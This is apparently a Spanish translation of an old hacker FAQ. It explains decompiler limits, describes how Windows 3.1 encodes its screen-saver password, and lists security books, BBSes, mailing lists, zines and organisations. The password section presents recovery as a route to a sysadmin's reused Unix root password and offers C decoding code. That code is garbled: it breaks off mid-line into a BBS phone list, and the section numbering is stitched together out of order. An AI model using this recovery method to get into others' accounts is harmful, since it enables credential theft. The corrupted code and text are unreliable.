OK, let's simplify further and specify that you only want to support one specific compiler and you want to decompile to the most logical source code without trying to interpret the optimization. What then? A good optimizer can and will substantially rewrite the internals of your code, so what you get out of your decompiler will be, not only cryptic, but in many cases, riddled with goto statements and other no-no's of good coding practice. At this point, you have decompiled source, but what good is it?

Also note carefully my reference to source modules. One characteristic of C is that it becomes largely unreadable unless broken into easily maintainable source modules (.C files). How will the decompiler deal with that? It could either try to decompile the whole program into some mammoth main() function, losing all modularity, or it could try to place each called function into its own file. The first way would generate unusable chaos and the second would run into problems where the original source hade files with multiple functions using static data and/or one or more functions calling one or more static functions. A decompiler could make static data and/or functions global but only at the expense or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most difficult or time-critical functions in assembler which could prove almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where decompilers may become more feasible, optimizers and languages (C++, for example, would be a significantly tougher language to decompile than C) also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source form (machine but not human readable -- all comments and whitespace removed, variables names all in the form OOIIOIOI, etc.), which has been a quite adequate means of protecting the author's rights. It's very unlikely that decompiler output would even be as readable as shrouded source.

40. ¿Cómo hace el trabajo de encriptacion de la contraseña el MS-Windows?

Este FAQ Fue escrito por Wayne Hoxsie

La opción de la contraseña en MS Win 3,1 se derrota fácilmente, pero hay algunos de nosotros quienes verdaderamente queremos saber cómo MS hace ésto. Hay muchas
razones porqué conocer la contraseña real puede ser útil. Suponga un sysamin usado la misma contraseña en las windows screen saver y en su cuenta root en un sistema unix.

Sin embargo, intentaré relevar qué he aprendido acerca de este algoritmo.

Describiré el proceso que comienza después de que ha entrado la contraseña y pulsado el boton OK.

Asumire que todo el mundo (por lo menos estos interesados) saben como funciona el operador XOR.

Primero, se guarda la longitud de la contraseña. Llamaremos a este 'len.' Nosotros moveremos los carácteres del cordón de entrada en otro cordón tal y como son encriptadas. Llamaremos al que entro originalmente en la contraseña 'plaintext' y el cordón encriptado (cordones--hay dos pasos)
'hash1' y 'hash2.' La posición en el plaintext es importante durante el proceso , para el cual nos referiremos a este como 'pos.' Después de cada paso del proceso de encriptado ,
se verifica cada caracter contra un juego de carácteres que windows considera 'especial.' Estos carácteres son '[] = ' y cualquier carácter menor que ASCII 33 o mayor que ASCII 126. Me referiré a éste funcionamiento de verificacion como 'is_ok.' Todo esta basado en el cero (zero-based) (por ejemplo. un
8 en el caracter de la contraseña es considerado como los carácteres 0 al 7).

Ahora, el primer carácter de 'plaintext' es xor con 'len' entonces alimentó con el a 'is_ok.' si el carácter no es válido, es reemplazado por el original
carácter de 'plaintext' antes de la siguiente operacion. La proxima operacion es xor con 'pos' (ésto es inútil
para la primera operacion porque 'len' es 0 y cualquier cosa xor con cero es él mismo) entonces alimentó a 'is_ok'
con esta segunda operacion y reemplazó con el original si no es válido. La operacion final (por carácter) es hacer
con esto xor con el carácter previo de'plaintext.'

Si no hay ningún carácter previo, el valor fijo, 42,se usa en el primer carácter de 'plaintext.'
Se alimenta con éste entonces a'is_ok' y si todo esta bien (OK), se guarda en la primera posición de 'hash1'
Éste de proceso se repite hasta que se agotan todos carácteres del plaintext.

El paso del segundo es muy similar, sólo que ahora, el punto de comienzo es el último carácter en hash1 y se ponen en hash2 los resultados
del fin al principio. También, en lugar de usar el carácter previo en
el ultimo xoring , se usa el carácter siguiente al caracter actual.
Si ya no hay ningún carácter siguiente al último carácter en hash1, el valor 42 se usa de nuevo como ultimo caracter.
hash2' es el cordón final y éste es el qué guarda windows en el archivo CONTROL.INI.

Para desencriptar la contraseña se sigue el proceso anterior al reves.

Ahora, lo que todos estabais esperando. Aquí algunos codigos de C que harán el trabajo sucio por usted:

```
#include
#include
#include

int xor1(int i,int j)
{
  int x;

  x=i^j;
  return (x>126||x-1;l--)
    s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
  for(l=0;l BBS    (719)578-8288   NUP=NO NUP
N The Edge of Reality          (805)496-7460
  Static Line                  (806)747-0802
  Area 51                      (908)526-4384
N The Drunk Forces             +972-3-5733477
```

09. ¿Cuales son algunos de los libros de interés a hackers?

General Computer Security
~~~~~~~~~~~~~~~~~~~~~~~~~

Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

Éste es un libro excelente. Da un apreciación global amplia de seguridad de la computadora sin sacrificar los detalles. Uno debe leerlo para
~~~~~~~~~~~~~~~~~~~~~~~~~

empezar a ser un experto de seguridad.

Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0

Computer Related Risks
Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995
ISBN: 0-201-55805-X

Computer Security Management
Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1

The Stephen Cobb Complete Book of PC and LAN Security
Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

Security in Computing
Author: Charles P. Pfleeger
Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.

Building a Secure Computer System
Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York.
Copyright Date:
ISBN: 0-442-23022-2

Modern Methods for Computer Security
Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977
ISBN:

Windows NT 3.5 Guidelines for Security, Audit and Control
Author:
Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9

Protection and Security on the Information Superhighway
Author: Dr. Frederick B. Cohen)
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-11389-1

N Commonsense Computer Security
Author: Martin Smith
Publisher: McGraw-Hill
Copyright Date: 1993
ISBN: 0-07-707805-5

N Combatting Computer Crime
Author: Jerry Papke
Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc.
Copyright Date: 1992
ISBN: 0-8306-7664-3

N Computer Crime: a Crimefighters Handbook
Author: David Icove, Karl Seger and William VonStorch
Publisher: O'Reilly & Associates
Copyright Date: 1995
ISBN: 1-56592-086-4

Unix System Security
~~~~~~~~~~~~~~~~~~~

Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2

Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4

Unix System Security
Author: Rik Farrow
Publisher: Addison Wesley
Copyright Date: 1991
ISBN: 0-201-57030-0

Unix Security: A Practical Tutorial
Author: N. Derek Arnold
Publisher: McGraw Hill
Copyright Date: 1993
ISBN: 0-07-002560-6
~~~~~~~~~~~~~~~~~~~

Unix System Security: A Guide for Users and Systems Administrators
Author: David A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4

Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3

Unix Security for the Organization
Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2

N Building Internet Firewalls
Author: D. Brent Chapman and Elizabeth D. Zwicky
Publisher: O'Reilly and Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-124-0

N Unix System Security Essentials
Author: Christopher Braun
Publisher: Addison Wesley
Copyright Date: 1995
ISBN: 0-201-42775-3

N Internet Firewalls and Network Security
Author: Karanjit S. Siyan and Chris Hare
Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-437-6

Network Security
~~~~~~~~~~~~~~~~

Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7

No es un gasto total en papel, pero definitivamente no vale $49,95 , el precio de compra. El libro es una refundición de informacion previamente
~~~~~~~~~~~~~~~~

publicada . El unico secreto que aprendemos de leer este libro es que Sylvia Moon es una mujer joven locamente
enamorada del mas viejo David Stang.

Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4

N Network Security: How to Plan For It and How to Achieve It
Author: Richard M. Baker
Publisher: McGraw-Hill, Inc.
Copyright Date:
ISBN: 0-07-005141-0

N Network Security
Author: Steven L. Shaffer and Alan R. Simon
Publisher: Academic Press
Copyright Date: 1994
ISBN: 0-12-638010-4

N Network Security: Private Communications in a Public World
Author: Charlie Kaufman, Radia Perlman and Mike Speciner
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-13-061466-1

N Network and Internetwork Security: Principles and Practice
Author: William Stallings
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-02-415483-0

N Implementing Internet Security
Author: William Stallings
Publisher: New Rider Publishing
Copyright Date: 1995
ISBN: 1-56205-471-6

N Actually Useful Internet Security Techniques
Author: Larry J. Hughes, Jr.
Publisher: New Riders Publishing
Copyright Date: 1995

ISBN: 1-56205-508-9

Cryptology
~~~~~~~~~~~~

Applied Cryptography: Protocols, Algorithms, and Source Code in C
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2

El libro de Bruce Schneier reemplaza todos los otros textos en criptografía. Si se interesa por la criptografía, éste es el que debe leer. Éste sera el primero y último libro de criptografía que alguna vez necesitara comprar.

Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4

Codebreakers
Author: Kahn
Publisher: Simon and Schuster
Copyright Date:
ISBN:0-02-560460-0

Codebreakers: The Inside Story of Bletchley Park
Author: Francis Harry Hinsley and Alan Stripp
Publisher: Oxford University Press,
Copyright Date: 1993
ISBN:0-19-285304-X

Cryptanalysis, a study of ciphers and their solution
Author: Gaines, Helen Fouche
Publisher: Dover Publications
Copyright Date: 1956
ISBN:

N Computer Privacy Handbook
Author: Andre' Bacard
Publisher: Peachpit Press
Copyright Date: 1995
~~~~~~~~~~~~

ISBN: 1-56609-171-3

N E-Mail Security with PGP and PEM
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-05318-X

N PGP: Pretty Good Privacy
Author: Simson Garfinkel
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-098-8

Programmed Threats

The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0

N The Giant Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1995
ISBN:

Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN: 0-929408-09-8

U A Short Course on Computer Viruses
Author: Dr. Fred Cohen

Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-00769-2

N Robert Slade's Guide to Computer Viruses
Author: Robert Slade
Publisher: Springer-Verlag
Copyright Date: 1994
ISBN: 0-387-94311-0 / 3-540-94311-0

ISBN:

Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X

Bruce Esterlina ha soltado recientemente el libro GRATIS en la red.
El libro es muy más fácil leer en forma impresa, en rústica sólo cuesta $5.99. De cualquier modo si lo lee,podra
estar alegre . Sr. Sterling es un autor excelente de ciencia ficción y ha traído su talento con palabras a la
cultura hacking. Una lectura muy agradable .

Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X

The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6

Unclassified
~~~~~~~~~~~~

The Hacker's Handbook

Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4

Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5

El Knightmare no es ningún hacker excelente. Hay una pequeña o ninguna informacion real
en este libro. El Knightmare da un consejo útil , no deves vestirte de gala para ir a hacer trashing.
(Buscar en la basura de la empresa objetivo informacion acerca de las claves o sistemas que utilizan)
El mejor hack de Knightmare a sido engañar a Loompanics en la
publicación de esta basura.

The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6

Basura total. Engaños paranoicos de un loco. Menos verdadero
que los datos de una emisión promedio del Enquirer.(N.T. Esto no se lo que es si alguien lo sabe ya sabe
, un e-mail y se agradecera pero podriamos poner ,
mas falsos que los datos del paro de Aznar y es que "España va bien " :-)))

Guerra de la información
Autor: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8

10. ¿Cuales son algunos de los videos de interés a hackers?

'Unauthorized Access' by Annaliza Savage
$25 on VH S format in 38-min
Savage Productions

1803 Mission St., #406
Santa Cruz, CA 95060

Hacker's '95 - a Phon-E & R.F. Burns Production
Vea el video de Emmanuel Goldstein cuando tenia a los Feds (federales) golpeando su puerta. Cobertura de Summercon'95
Cobertura de Defcon III El Y grande
fiasco a Summercon PMF (narc) entrevistas a Emmanuel Goldstein& #38; Eric BloodAxe. Viaje al Area 51 y entrevista con Psyhospy, Cobertura de el Secret Service briefing on Operation Cyber Snare (recent cell busts)
Habla con Crypto, HERF, los Feds, etc. se presenta Toda la información
solamente con propósitos educativos . No se vende al gobierno o a organizaciones del mantenimiento de la ley.
tiempo aproximado 90 minutos.
$25.00 NTSC VHS
$35.00 PAL/Secam VHS
Custom Video Productions
(908)842-6378
videocvp@ix.netcom.com

11. ¿Cuales son algunos de los Mailing lists de interés a hackers?

Academic Firewalls
Registration Address: Send a message to majordomo@greatcircle.com
containing the line "subscribe firewalls user@host"

N The Alert
Registration Address: Send a message to request-alert@iss.net
containing the line "subscribe alert"

Bugtraq
Reflector Address: bugtraq@fc.net
Registration Address: bugtraq-request@fc.net

Cert Tools
Reflector Address: cert-tools@cert.org
Registration Address: cert-tools-request@cert.org

Computers and Society
Reflector Address: Comp-Soc@limbo.intuitive.com
Registration Address: taylor@limbo.intuitive.com

Coordinated Feasibility Effort to Unravel State Data
Reflector Address: ldc-sw@cpsr.org
Registration Address:

CPSR Announcement List
Reflector Address: cpsr-announce@cpsr.org
Registration Address:

CPSR - Intellectual Property
Reflector Address: cpsr-int-prop@cpsr.org
Registration Address:

CPSR - Internet Library
Reflector Address: cpsr-library@cpsr.org
Registration Address:

N Cypherpunks
Registration Address: Send a message to majordomo@toad.com
containing the line "subscribe cypherpunks"

DefCon Announcement List
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-announce"

DefCon Chat List
Registration Address: Send a message to majordomo@fc.net containing
the line "subscribe dc-stuff"

N Discount Long Distance Digest
Registration Address: Send a message to: dld-request@webcom.com
containing the line "subscribe"

Electronic Payment
Registration Address: e-payment@cc.bellcore.com

IDS (Intruder Detection Systems)
Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au
containing the line "subscribe ids"

N Information Warfare
Registration Address: E-mail iw@all.net with a request to be added.

N Linux-Alert
Registration Address: majordomo@linux.nrao.edu

N Linux-Security
Registration Address: majordomo@linux.nrao.edu

Macintosh Security
Reflector Address: mac-security@eclectic.com
Registration Address: mac-security-request@eclectic.com

NeXT Managers
Registration Address: next-managers-request@stolaf.edu

PGP3 announcement list
Registration Address: pgp-announce-request@lsd.com

Subject: Your Name
Body: *ignored*

Phiber-Scream
Registration Address: Send a message to listserv@netcom.com
containing the line "subscribe phiber-scream user@host"

phruwt-l (Macintosh H/P)
Registration Address: Send a message to filbert@netcom.com
with the subject "phruwt-l"

rfc931-users
Reflector Address: rfc931-users@kramden.acf.nyu.edu
Registration Address: brnstnd@nyu.edu

RSA Users
Reflector Address: rsaref-users@rsa.com
Registration Address: rsaref-users-request@rsa.com

WWW Security
Registration Address: www-security@ns2.rutgers.edu

12. ¿Algunas revistas impresas de interés a hackers?

2600 - The Hacker Quarterly
~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail addresses: info@2600.com - to get info on 2600
index@2600.com - to get a copy of our index
meetings@2600.com - for info on starting your own meeting
subs@2600.com -- for subscription problems
letters@2600.com -- to send us a letter
articles@2600.com -- to send us an article
2600@2600.com -- to send us a general message

Subscription Address: 2600 Subscription Dept
PO Box 752
Middle Island, NY 11953-0752

Letters and article submission address: 2600 Editorial Dept
PO Box 99
Middle Island, NY 11953-0099

Phone Number: (516)751-2600
Fax Number: (516)474-2677
Voice BBS: (516)473-2626

Subscriptions: United States: $21/yr individual, $50 corporate.
Overseas: $30/yr individual, $65 corporate.
~~~~~~~~~~~~~~~~~~~~~~~~~~

Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter which is illegal, immoral and/or controversial. Gray Areas explores why hackers hack and puts hacking into a sociological framework of deviant behavior.

E-Mail Address: grayarea@well.sf.ca.us
E-Mail Address: grayarea@netaxs.com

U.S. Mail Address: Gray Areas
PO Box 808
Broomall, PA 19008

Subscriptions: $26.00 4 issues first class
$34.00 4 issues foreign (shipped air mail)

Privacy Newsletter
~~~~~~~~~~~~~~~~~~
Privacy Newsletter is a monthly newsletter devoted to showing consumers how to get privacy and keep it.

E-Mail Address: privacy@interramp.com

Subscription Address: Privacy Newsletter
P.O. Box 8206
Philadelphia, PA 19101-8206

Subscriptions: $99/yr (US) $149/yr (Overseas)

Wired
~~~~~
Subscription Address: subscriptions@wired.com
or: Wired
PO Box 191826
San Francisco, CA 94119-9866

Letters and article submission address: guidelines@wired.com
or: Wired
544 Second Street
San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

Nuts & Volts
~~~~~

~~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664

Cybertek: The Cyberpunk Technical Journal
~~~~~~
P.O. Box 64
Brewster, NY 10509

Frequency: Bimonthly
Domestic Subscription Rate: $15/year (6 issues)

PrivateLine
~~~~~~~~~~~~
5150 Fair Oaks Blvd. #101-348
Carmichael, CA 95608 USA

E-Mail: privateline@delphi.com

Subscriptions: $24 a year for six issues

Text of back issues are at the etext archive at Michigan. Gopher over
or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine

13. ¿Cuales son algunos de los e-zines de interés a hackers?

CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo
Empire Times ftp.etext.org /pub/Zines/Emptimes
FEH ftp.fc.net /pub/defcon/FEH
The Infinity Concept infonexus.com
/pub/Philes/Zines/TheInfinityConcept
Phrack ftp.fc.net /pub/phrack

14. ¿Algunas organizaciones de interés a hackers?

Computer Professionals for Social Responsibility (CPSR)
~~~~~~
CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policy makers with

realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad public participation in the shaping of technology policy.

Every project we undertake is based on five principles:

* We foster and support public discussion of and public responsibility for decisions involving the use of computers in systems critical to society.

* We work to dispel popular myths about the infallibility of technological systems.

* We challenge the assumption that technology alone can solve political and social problems.

* We critically examine social and technical issues within the computer profession, nationally and internationally.

* We encourage the use of computer technology to improve the quality of life.

CPSR Membership Categories
75 REGULAR MEMBER
50 Basic member
200 Supporting member
500 Sponsoring member
1000 Lifetime member
20 Student/low income member
50 Foreign subscriber
50 Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA 94301
415-322-3778
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu

Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities that will advance freedom and openness in computer-based communications. It is a member-supported, nonprofit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

group that grew from the conviction that a new public interest organization was needed in the information age; that this organization would enhance and protect the democratic potential of new computer communications technology. From the beginning, the EFF determined to become an organization that would combine technical, legal, and public policy expertise, and would apply these skills to the myriad issues and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.
1001 G Street, NW
Suite 950 East
Washington, D.C. 20001
(202)544 9237
(202)547 5481 FAX
Internet: eff@eff.org

Free Software Foundation (FSF) and GNU
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Free Software Foundation is dedicated to eliminating restrictions on people's right to use, copy, modify, and redistribute computer programs. We promote the development and use of free software in all areas using computers. Specifically, we are putting together a complete, integrated software system named "GNU" ("GNU's Not Unix", pronounced "guh-new") that will be upwardly compatible with Unix. Most parts of this system are already being used and distributed.

The word "free" in our name refers to freedom, not price. You may or may not pay money to get GNU software, but regardless you have two specific freedoms once you get it: first, the freedom to copy a program and give it away to your friends and co-workers; and second, the freedom to change a program as you wish, by having full access to source code. You can study the source and learn how such programs are written. You may then be able to port it, improve it, and share your changes with others. If you redistribute GNU software you may charge a distribution fee or give it away, so long as you include the source code and the GPL (GNU General Public License).

Free Software Foundation, Inc. Telephone: +1-617-876-3296
673 Massachusetts Avenue Fax: +1-617-492-9057
Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: gnu@prep.ai.mit.edu 0066-3382-0158 (IDC)

GNU is to be a complete integrated computational environment: everything you need to work with a computer, either as a programmer or as a person in an office or home. The core is an operating system,
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

which consists of a central program called a kernel that runs the other programs on the computer, and a large number of ancillary programs for handling files, etc. The Free Software Foundation is developing an advanced kernel called the Hurd.

A complete system has tools for programmers, such as compilers and debuggers. It also has editors, sketchpads, calendars, calculators, spreadsheets, databases, electronic mail readers, and Internet navigators. The FSF already distributes most of the programs used in an operating system, all the tools regularly used by programmers, and much more.

The League for Programming Freedom (LPF)

The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-enforced monopolies broader in scope than ever before. Such a system of user-interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing user-interface copyright. The League is NOT opposed to copyright law as it was understood until 1986 -- copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices.

Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome.

To contact the League, phone (617) 243-4091, send Internet mail to the address league@prep.ai.mit.edu, or write to:

League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA

SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but mostly by selling hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC
P.O. Box 573
Long Beach, MS 39560

Computer Emergency Response Team (CERT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CERT is the Computer Emergency Response Team that was formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues, and to conduct research targeted at improving the security of existing systems.

CERT products and services include 24-hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents, and seminars. In addition, the team maintains a number of mailing lists (including one for CERT advisories) and provides an anonymous FTP server: cert.org (192.88.209.5), where security-related documents, past CERT advisories, and tools are archived.

CERT contact information:

U.S. mail address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
U.S.A.

Internet E-mail address
cert@cert.org

Telephone number
(412)268-7090 (24-hour hotline)
CERT Coordination Center personnel answer
7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
emergencies during other hours.

FAX number
(412)268-6989

15. ¿Cuales son algunos de los radio programas de interés a hackers?

Off The Hook	New York	99.5 FM	Tue 8pm EST
Full Disclosure Live	Short Wave	WWCR 5065 khz	Sun 8pm EST
Full Disclosure Live	Oil City, PA	WOYL AM-1340	Sun 8pm EST
Full Disclosure Live	Satellite	Telstar 302 (T2), Ch 21, 5.8	Sun 8pm EST

16. ¿Otros FAQ de interés a hackers?

Frequently Asked Questions "Hacking Novell Netware"
Author: Simple Nomad
ftp: jumper.mcc.ac.uk /pub/security/netware/faq.zip
ftp: ftp.fastlane.net /pub/nomad/nw/faq.zip
ftp: ftp.best.com /pub/almcepud/hacks/faq.zip
http://resudox.net/bio/mainpage.html
http://www.hookup.net/~apayne/nwhack.html

The PGP Attack FAQ
Author: Route [daemon9@netcom.com / route@infonexus.com]
ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz

Mac Hack FAQ: Defeating Security
Author: AX1P (an149689@anon.penet.fi)

Frequently Asked Questions About Red Boxing
Author: Mr. Sandman (an132432@anon.penet.fi)

VMS FAQ (Frequently Ask Questions)
Author: The Beaver (beaver@upperdck.blkbox.com)

Anonymous FTP FAQ
Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/anonftp

Compromise FAQ: What if your Machines are Compromised by an Intruder

Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/compromise

Security Patches FAQ
Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/patch

Sniffer FAQ
Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/sniff

Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches
Author: Christopher Klaus of Internet Security Systems, Inc.
ftp: ftp.iss.net /pub/faq/vendor

Cryptography FAQ
Author: The Crypt Cabal
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

Firewalls FAQ
Author: Marcus J. Ranum (mjr@ss1.lightspeed.net)
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/

Buying a Used Scanner Radio
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

How to Find Scanner Frequencies
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Introduction to Scanning
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Low Power Broadcasting FAQ
Author: Rick Harrison.
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/

RSA Cryptography Today FAQ
Author: Paul Fahn
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

VIRUS-L comp.virus Frequently Asked Questions (FAQ)
Author: Kenneth R. van Wyk
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/

Where to get the latest PGP (Pretty Good Privacy) FAQ
Author: mpj@csn.net (Michael Johnson)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/

alt.locksmithing answers to Frequently Asked Questions (FAQ)
Author: spike@indra.com (Joe Ilacqua)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/

comp.os.netware.security FAQ
Author: Fauzan Mirza
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/

rec.pyrotechnics FAQ
Author: zoz@cs.adelaide.edu.au (Hans Josef Wagemueller)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/

17. ¿Dónde puedo comprar un codificador decodificador de banda magnética?

CPU Advance
PO Box 2434
Harwood Station
